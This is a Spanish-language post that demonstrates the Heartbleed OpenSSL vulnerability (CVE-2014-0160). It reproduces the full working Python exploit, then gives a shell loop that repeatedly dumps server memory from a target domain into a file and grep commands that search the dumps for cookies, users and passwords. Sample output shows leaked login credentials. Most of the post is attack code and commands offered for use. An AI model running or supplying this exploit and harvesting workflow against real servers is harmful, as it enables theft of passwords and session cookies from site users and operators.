Muestra simple y rápida de la gravedad del impacto del bug Heartbeat de una forma 100% practica.
Vulnerabilidad OpenSSL TLS Heartbeat Extension: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160
Exploit OpenSSL TLS Heartbeat Extension.
# Exploit Title: [OpenSSL TLS Heartbeat Extension - Memory Disclosure - Multiple SSL/TLS versions] # Date: [2014-04-09] # Exploit Author: [Csaba Fitzl] # Vendor Homepage: [http://www.openssl.org/] # Software Link: [http://www.openssl.org/source/openssl-1.0.1f.tar.gz] # Version: [1.0.1f] # Tested on: [N/A] # CVE : [2014-0160] #!/usr/bin/env python # Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org) # The author disclaims copyright to this source code. # Modified by Csaba Fitzl for multiple SSL / TLS version support import sys import struct import socket import time import select import re from optparse import OptionParser options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)') options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)') def h2bin(x): return x.replace(' ', '').replace('\n', '').decode('hex') version = [] version.append(['SSL 3.0','03 00']) version.append(['TLS 1.0','03 01']) version.append(['TLS 1.1','03 02']) version.append(['TLS 1.2','03 03']) def create_hello(version): hello = h2bin('16 ' + version + ' 00 dc 01 00 00 d8 ' + version + ''' 53 43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00 00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88 00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09 c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44 c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11 00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04 03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19 00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08 00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00 00 0f 00 01 01 ''') return hello def create_hb(version): hb = h2bin('18 ' + version + ' 00 03 01 40 00') return hb def hexdump(s): for b in xrange(0, len(s), 16): lin = [c for c in s[b : b + 16]] hxdat = ' '.join('%02X' % ord(c) for c in lin) pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin) print ' %04x: %-48s %s' % (b, hxdat, pdat) print def recvall(s, length, timeout=5): endtime = time.time() + timeout rdata = '' remain = length while remain > 0: rtime = endtime - time.time() if rtime < 0: return None r, w, e = select.select([s], [], [], 5) if s in r: data = s.recv(remain) # EOF? if not data: return None rdata += data remain -= len(data) return rdata def recvmsg(s): hdr = recvall(s, 5) if hdr is None: print 'Unexpected EOF receiving record header - server closed connection' return None, None, None typ, ver, ln = struct.unpack('>BHH', hdr) pay = recvall(s, ln, 10) if pay is None: print 'Unexpected EOF receiving record payload - server closed connection' return None, None, None print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay)) return typ, ver, pay def hit_hb(s,hb): s.send(hb) while True: typ, ver, pay = recvmsg(s) if typ is None: print 'No heartbeat response received, server likely not vulnerable' return False if typ == 24: print 'Received heartbeat response:' hexdump(pay) if len(pay) > 3: print 'WARNING: server returned more data than it should - server is vulnerable!' else: print 'Server processed malformed heartbeat, but did not return any extra data.' return True if typ == 21: print 'Received alert:' hexdump(pay) print 'Server returned error, likely not vulnerable' return False def main(): opts, args = options.parse_args() if len(args) < 1: options.print_help() return for i in range(len(version)): print 'Trying ' + version[i][0] + '...' s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) print 'Connecting...' sys.stdout.flush() s.connect((args[0], opts.port)) print 'Sending Client Hello...' sys.stdout.flush() s.send(create_hello(version[i][1])) print 'Waiting for Server Hello...' sys.stdout.flush() while True: typ, ver, pay = recvmsg(s) if typ == None: print 'Server closed connection without sending Server Hello.' return # Look for server hello done message. if typ == 22 and ord(pay[0]) == 0x0E: break print 'Sending heartbeat request...' sys.stdout.flush() s.send(create_hb(version[i][1])) if hit_hb(s,create_hb(version[i][1])): #Stop if vulnerable break if __name__ == '__main__': main()
Sintaxis del exploit.
python2 exploit_heartbeat.py dominio.com -p 443
Ejemplo de uso.
while [ true ] do python2 exploit_heartbeat.py dominio.com -p 443 | grep -v "00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" >> fichero_volcados_SSL sleep 10 done
grep -i cookie
grep -A3 -B3 -i 'pass\|pwd\|cookie\|user\|admin' fichero_volcados_SSL 0320: 64 39 34 30 30 63 37 37 31 37 39 63 65 63 39 34 d9400c77179cec94 0330: 64 37 38 30 38 63 37 26 5F 75 73 65 72 6E 61 6D d7808c7&_usernam 0340: 65 3D 62 72 69 6E 74 68 6E 65 79 63 6F 6E 79 6A e=brinthneyconyj 0350: 65 6E 6E 79 26 5F 70 61 73 73 77 6F 72 64 3D 31 enny&_password=1 0360: 30 32 30 32 30 30 32 26 5F 73 75 62 6D 69 74 3D 0202002&_submit= 0370: 45 6E 74 72 61 72 B3 27 13 EA C3 1D D1 2A A8 BA Entrar.'.....*.. 0380: 31 C4 B3 23 C4 75 28 29 7D 65 6C 73 65 7B 74 68 1..#.u()}else{th -- 0320: 65 64 39 34 30 30 63 37 37 31 37 39 63 65 63 39 ed9400c77179cec9 0330: 34 64 37 38 30 38 63 37 26 5F 75 73 65 72 6E 61 4d7808c7&_userna 0340: 6D 65 3D 62 72 69 6E 68 6E 65 79 63 6F 6E 6E 79 me=brinhneyconny 0350: 6A 65 6E 6E 79 26 5F 70 61 73 73 77 6F 72 64 3D jenny&_password= 0360: 31 32 33 34 35 36 26 5F 73 75 62 6D 69 74 3D 45 123456&_submit=E 0370: 6E 74 72 61 72 C1 18 77 63 C1 27 31 F2 0F 07 45 ntrar..wc.'1...E 0380: 1B F6 85 5E 19 00 00 00 00 00 00 00 00 00 00 00 ...^............
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